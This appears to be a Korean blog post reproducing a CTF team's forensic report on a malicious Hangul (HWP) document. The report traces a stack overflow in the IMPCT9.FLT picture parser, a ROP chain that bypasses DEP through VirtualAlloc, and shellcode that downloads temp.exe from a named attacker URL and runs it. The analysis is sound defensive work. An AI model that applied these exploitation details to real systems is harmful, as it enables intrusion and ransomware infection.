본문 바로가기

Games/CTF

화이트햇 콘테스트 2015 한글 익스플로잇 분석

2015 화이트햇 해킹방어대회(아몰랑팀) 예선전 보고서로 제출했던 내용중 문제에서 주어진 한글 취약점 exploit 분석 내용입니다.





4. 분석결과


4.1) 침해원인


침해원인을 전반적으로 요약하면 다음과 같다.


해당 침해사건은 A사의 박보안 부장과 협력사 B사 사이에서의 진행사항을 공유하기 위해 사용한 팀채팅 솔루션을 통해서 전달된 한글 익스플로잇을 통하여 발생하게 된다. 박보안 부장은 팀채팅 솔루션인 ‘잔디’ (https://www.jandi.com) 사이트를 인터넷 브라우저인 Internet Explorer를 이용하여 사용하는데, B사와 진행사항을 문서파일을 통해 공유한다. 이 때 B사에서 보낸 한글파일과 pdf 파일들중의 한글파일 1개가 취약점을 공격하는 코드를 포함하였다. 파일들 중에서 ‘참고지침.hwp’ 이라는 파일명으로 저장된 파일을 (Internet Explorer상에서) 열람한 박보안 부장의 컴퓨터는 구버전의 한글 2014을 사용했기 때문에 해당 파일의 취약점 공격코드에 의해 랜섬웨어에 감염되게 된다.  


박부장의 컴퓨터에 설치된 한컴오피스 한글의 버전을 조사한 결과 그림4-1 과 같이 1년 4개월간 최신 업데이트 되지 않은 오래된 버전이 발견되었다 (한글 버전관련 인터넷 검색 결과 침해사고 당시 박부장은 2014년 5월달에 릴리즈된 버전인 9.0.0.1397 의 한글2014 를 사용하고 있었음)


그림4-1. 침해사고 PC 의 한글버전


이는 침해사고의 원인이 될 수 있다고 판단하여 문제로 주어진 자료상에서 복구된 hwp 파일들을 조사하였다.  그 결과 그림4-2 와 같이 랜섬웨어의 1차 다운로더 (temp.exe) 로 추정되는 스트링을 포함하고 있는 hwp 파일을 발견 할 수 있었다.  



그림4-2. 취약점을 공격하는 한글문서파일



발견된 수상한 부분의 바이트 패턴은 쉘코드 기계어 명령들로 보였기 때문에 자세한 조사를 위해 해당 부분들을 추출하고 IDA Pro 를 이용해서 Disassemble 하여 분석한 결과 그림4-3 과 같이 쉘코드 임이 확인되었다.



그림4-3. 한글문서에서 발견된 쉘코드



쉘코드를 정적으로 분석한 결과 0x120A409C 등과 같은 고정된 주소로부터 ROP 가젯을 활용하는 것으로 보였다, 이를 기반으로 조사해보니 쉘코드상에서 ROP 가젯 으로 활용하는것으로 추정되는 주소들은 HWP 의 모듈들중 ASLR 이 적용되지 않은 모듈들의 코드가 존재하는 주소인 것으로 확인되었다.   예를 들면 위의 그림4-3 상에 존재하는 0x120A409C 라는 주소는 박부장의 한글2014 를 디버깅하여 확인한 결과 HnCXerCore8.dll 이라는, ASLR 이 적용되지 않는 모듈의 IAT 테이블중 LoadLibraryA 함수의 포인터가 존재하는 위치였다.


쉘코드를 정적으로 분석한 결과 해당 쉘코드는 사용할 API 의 주소 및 인자들을 생성하는 과정에서 간단한 Encoding / Decoding 기능을 가지고 있으며, LoadLibrary 를 통해서 동적으로 추가적인 코드들을 할당해서 작동하는 것으로 판단되었다. 이에 IDA Pro 를 이용하여 박부장 PC 의 한글 2014 를 디버깅하면서 문제의 한글익스플로잇 파일을 열람하여 쉘코드의 ROP 가젯중 하나에 Break Point 를 걸고 동적으로 분석하였다.


먼저 익스플로잇을 분석하기위해 ROP 가젯의 주소로 추정되는 주소하나를 0x41414141 로 변경하고 그림4-4 와 같이 디버깅시 크래시가 나는것을 확인하였다.



그림4-4. 디버깅을 위해 ROP 페이로드를 조작하여 크래시 유발



해당 크래시로부터 프로그램의 실행과정을 역추적하기 위해서 개인적으로 개발한 EIP 추적도구를 이용하였다.  그림4-5 는 한글2014 프로그램의 EIP 를 함수 호출단위로 추적한 결과에대한 그래프이다.



그림4-5. 한글 프로그램 실행흐름 추적



크래시 가 발생하기 직전에서부터 역으로 조사한 결과 익스플로잇은 HwpApp.dll 모듈이 HncBD90.dll 모듈의 Drawing 관련 함수를 호출한 이후 HncBD90.dll 모듈의 오프셋 0x185d0 상의 함수가 다시 IMPCT9.FLT 모듈에 존재하는 함수를 호출하는 과정에서 발생하게 된다.


그림4-6. HwpApp.dll 모듈에서 취약점발생지점 호출부분


그림4-7. HncBD90.dll 모듈에서 취약점발생지점 호출부분



IMPCT9.FLT 의 함수에서 IDA Pro 의 Instruction Tracing 기능으로 실행트레이스를 얻고 아래와같이 크래시가 발생하는 정확한 지점을 찾을 수 있었다.



그림4-8. IMPCT9.FLT 모듈의 버그함수에 대한 명령어 트레이스



해당 지점을 분석한 결과 그림4-9 와 같이 IMPCT9.FLT 모듈의 오프셋 0xD0B0 에 존재하는 함수에서 Stack Buffer Overflow 가 발생하는 것을 확인 할 수 있었다.



그림4-9. IMPCT9.FLT+0xD0B0 함수리턴시점의 스택프레임


이와 같이 동적으로 익스플로잇을 분석한 결과 박부장이 사용하고있던 버전의 한글 취약점 발생을 유발한 버그의 원인, 공격자의 ROP exploit 페이로드 구성방식, temp.exe 를 다운로드하기위한 쉘코드 에 대한 내용들을 모두 파악 할 수 있었다.




4.1.1. 취약점의 발생 원인


공격에 사용된 한글문서상에 포함된 BIN0002.PCT 를 파싱하는 모듈에서 (IMPCT9.FLT) 0x2C 태그데이터를 imsReadChar() 함수로 읽어올때 스택 버퍼오버플로우가 일어나면서 버그가 발생한다.  공개자료인 “한글문서파일형식5.0” 에 따르면 한글은 대부분의 데이터를 고유번호로 지정한 ‘태그’ 로서 저장 및 관리한다는 것을 전제로 분석하였다.



그림4-10. 취약점을 유발하는 코드의 디컴파일결과



취약점 분석을 통해서 확인하게 된 그림4-10 에 나와있는 IMPCT9.FLT 모듈상의 코드를 분석해보면 0x2C번 태그데이터를 파싱할 때 2바이트씩 2개의 short 데이터를 읽어들이고 그 뒤에 1바이트의 length 데이터를 읽는다.  이후 1바이트의 length 만큼 그 뒤에 존재하는 바이너리 데이터를스택버퍼 v22 에 읽어들인다.  이때 스택버퍼 v22 는 IDA 로 확인해보면 128 바이트의 크기로 고정된 버퍼임을 알 수 있다. 그런데 마지막의 imsReadChar() 함수는 앞전에 읽어들인 1byte length 변수의 값 만큼을 버퍼에 읽어 들이는데, imsReadChar() 가 읽어오는 크기를 지정하는 변수가 unsigned 데이터형의 1바이트 인 반면 스택버퍼의 공간은 signed 1바이트로 지정가능한 최대크기 (128바이트) 이다.




그림4-11. 취약점을 유발하는 0x2C 태그의 1바이트 사이즈 필드



따라서 공격자는 그림4-11 상에 나타나있는 0x2C 태그의 포맷상에서 현재 0x98 로 선택 되어있는 length 부분을 128 ~ 256 사이의 값으로 지정해 줌으로써 스택상에 최대 128바이트까지의 버퍼오버플로우 공격을 일으킬 수 있다.  IMPCT9.FLT 모듈의 해당함수를 구현하던 프로그래머는 imsReadChar() 를 이용하여 바이너리 데이터를 버퍼에 읽어들일 변수가 signed char 의 양의 최대값일것이라고 실수로 착각하여 로직을 구성한 것이 버그의 원인으로 파악된다.  결과적으로 공격자의 exploit 문서를 파싱하는 과정에서 152 바이트를 imsReadChar() 로 읽으면서 stack buffer overflow 가 발생하였으며, 이때 버그가 존재하는 IMPCT9.FLT 라이브러리 모듈의 함수는 stack canary 가 적용되지 않았기때문에 손쉽게 return address를 덮고 ROP 공격이 가능해진다.








4.1.2. Exploit 페이로드


취약점 exploit을 위한 ROP 공격은 간단히 요약하면 다음과 같다.


  1. 역 스택리프팅 가젯을 통해서 2차 ROP 페이로드로 스택이동

  2. Hwp.exe 의 IAT 를 통해 VirtualAlloc 함수주소 획득

  3. VirtualAlloc 함수 호출을 위한 가젯 및 파라미터를 레지스터에 세팅

  4. PUSHA; RET 가젯을 이용해서 레지스터의 ROP 가젯들을 스택에 동적생성

  5. VirtualAlloc 을 통해 DEP 우회후 쉘코드로 점프


스택버퍼오버플로우가 일어난 함수가 리턴을 하는 시점에서 최초로 실행되기 시작하는 ROP 페이로드는 그림4-12 과 같다.


그림4-12. 최초의 ROP 페이로드



POP ECX; POP ECX; RET 가젯으로 ECX를 0xB8A8E3BB로 세팅한 뒤에 SUB ESP, [ESP+0x5959FFF6]; RET 가젯을 이용해서 Reverse 스택리프팅을 수행하여 넉넉한 공간에 준비해둔 2차 ROP 페이로드로 스택을 이동시킨다.


2차 ROP 페이로드는 아래의 그림4-13 와 같다.


그림4-13. 2차 ROP 페이로드


2차 ROP 순서를 분석한 결과 Hwp.exe 상의 POP EAX; RET 가젯을 통해서 Hwp.exe 의 IAT (0x6f1188) 에 존재하는 VirtualAlloc() 함수포인터를 EAX 에 로딩한다.  그리고 HncXML90.dll 의 XCHG EAX, ESI; RET 가젯을 사용해서 이를 다시 ESI 에 저장하고 POP EBP, POP EBX, POP ECX; RET 가젯을 통해서 VirtualAlloc 의 3개의 인자를 레지스터에 지정한다. 그리고 PUSHA; RET 가젯을 통해서 VirtualAlloc 실행후 쉘코드로 점프하기위한 ROP 페이로드를 스택상에 동적을로 생성한다.  결과적으로 VirtualAlloc 을 이용해서 현재 Stack 세그먼트의 한 페이지를 그림4-14 와 같이 RWX 속성으로 만들어 DEP 를 우회하고 PUSH ESP; RET 가젯이 동작하게 유도하여 스택상에 로딩된 쉘코드를 실행시킨다.


그림4-14. DEP (데이터 실행 보호) 가 우회된 모습









4.1.3. 쉘코드


쉘코드의 실행내용을 분석한결과는 다음과같이 요약될 수 있다.


1. LoadLibrary("isgdi32.dll")

2. isgdi32.dll@imsReadChar(stack, shellcode, 0x1c6) : 스택에 0x1c6 바이트 쉘코드 로딩

3. LoadLibrary("wininet")

4. InternetOpenA()

5. InternetConnectA("poworks.com")

6. wininet@HttpOpenRequestA("/wp-includes/theme-compat/post.gif")

7. wininet@InternetSetOptionA( INTERNET_OPTION_SECURITY_FLAGS )

8. wininet@HttpSendRequestA()

9. CreateFileA("temp.exe")

10. InternetReadFile("/wp-includes/theme-compat/post.gif") -> WriteFile("temp.exe")

11. CloseHandle()

12. WinExec("temp.exe")

13. CLI instruction 으로 한글 예외처리 유도후 크래시방지.


쉘코드의 시작은 그림4-15 와 같은데, 가장먼서 수행하는일은 HncXerCore8.dll 의 IAT 로부터 LoadLibraryA() 함수의 주소를 획득하고, 공격자가 원하는 가젯이 존재하는 isgdi32.dll 을 로딩하는 것이다.


그림4-15. 쉘코드의 시작부분


앞서 취약점의 원인분석 결과에 따르면 공격자가 스택상에 유발 시킬수 있는 버퍼오버플로우는 최대 128 바이트이며, ROP 페이로드등을 제외하면 쉘코드를 넣을 수 있는 공간이 많지 않기때문에 공격자는 최초의 공격에 사용되었던 imsReadChar() 함수를 다시한번 이용하여 2차적으로 넉넉한 길이의 쉘코드를 그림4-16 과 같이 스택에 로딩하고 실행시킨다.



그림 4-16. 동적로드된 2차 쉘코드



2차 쉘코드는 주어진 API 를 받아서 실행하는 메인 함수와, 해당 메인 함수를 이용해서 각종 API 등을 호출하는 부분들로 구성된다.  임의의 API를 수행하는 메인 함수코드의 주요 부분은 그림4-17 과 같다.



그림4-17. API 를 호출해주는 쉘코드 주요코드



이후 각종 API 들을 수행하는 코드들이 다음과 같이 순차적으로 실행된다.

먼저 1차 쉘코드가 가장먼저 wininet.dll 을 로딩한 것으로부터 InternetOpenA() 함수를 통해서 인터넷 사용 객체핸들을 생성한다.


그림4-18. InternetOpenA()



동일한 방법으로 InternetConnectA 함수를 통해서 공격자의 서버 poworks.com 에 연결한다. “poworks.com” 과 같이 파라미터로 이용되는 문자열은 쉘코드상에 하드코딩 되어있으며 call 명령시 eip 가 스택에 저장되는 것을 활용하는 방식으로 문자열 포인터를 획득한다.


그림4-19. API 에 전달할 문자열 파라미터



계속해서 유사항 방식으로 API 들을 사용해서 결과적으로 악성링크인

http://poworks.com/wp-includes/theme-compat/post.gif 의 내용을 temp.exe 파일에 다운로드 한다.



그림4-20. 쉘코드가 생성한 temp.exe 파일



그러나 해당 악성링크는 침해사고 분석시점에서는 이미 사라져있기때문에 공격자의 웹서버에서 그림4-21 과 같이 404 오류 메시지만 받아오게 된다. 박부장이 침해사고를 당하던 시점에서는 PE 파일의 내용이 받아와졌을 것이다.


그림4-21. 쉘코드가 웹서버에서 받아온 temp.exe 의 내용


이후 쉘코드는 WinExec API 를 이용해서 temp.exe 를 실행시키는것으로 exploit 이 끝난다.



'Games > CTF' 카테고리의 다른 글

CAMPCTF 2015 dkm  (0) 2015.11.19
PlaidCTF 2015 RAM  (0) 2015.11.18
EKO CTF pwn200  (0) 2015.09.17
DEFCON 2014 Final - wdub  (0) 2015.09.09
MMA CTF 2015 SPELL  (0) 2015.09.08